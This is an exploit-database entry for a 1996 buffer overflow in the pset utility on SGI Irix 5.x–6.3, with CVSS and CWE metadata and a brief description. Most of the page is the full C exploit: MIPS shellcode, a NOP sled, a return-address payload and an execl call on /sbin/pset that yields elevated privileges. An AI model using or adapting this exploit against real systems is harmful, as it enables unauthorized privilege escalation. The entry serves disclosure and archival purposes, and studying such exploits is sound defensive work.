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Suggest Exploit
vendor:
Irix
by:
Last Stage of Delirium
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Irix
Affected Version From: Irix 5.x
Affected Version To: Irix 6.3
Patch Exists: NO
Related CWE:
CPE: o:sgi:irix:5.x, cpe:/o:sgi:irix:6.x, cpe:/o:sgi:irix:6.3
Metasploit:
Other Scripts:
Platforms Tested: Irix
1996

pset utility Buffer Overflow

The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended.

Mitigation:

Update to a patched version of Irix or apply a vendor-supplied patch
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/457/info

The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended. 

/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/

/* This one gives you egid=0(sys) */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
/*
char nop[]="\x24\x0f\x12\x34";
*/
char nop[]="\x01\x20\x48\x25";

void run(unsigned char *buf) {
  execl("/sbin/pset","lsd","-s","666",buf,NULL);
  printf("execl failed\n");
}

char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";

/*
unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
    printf("Can't malloc\n");
    exit(1);
  }

  *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  printf("address=%p\n", *(int *)addr);

  strcpy(buf,nop);
  ptr=buf+noplen;
  buf+=align;
  for(i=0;i<bufsize;i++)
   *ptr++=nop[i%noplen];
  memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  for(i=0;i<ALIGN2;i++)
   *ptr++=nop[i%noplen];
  for(i=0;i<(addrs<<2);i++)
   *ptr++=addr[i%sizeof(int)];
  *ptr=0;
  printf("buflen=%d\n", strlen(buf));
  fflush(stdout);

  run(buf);
}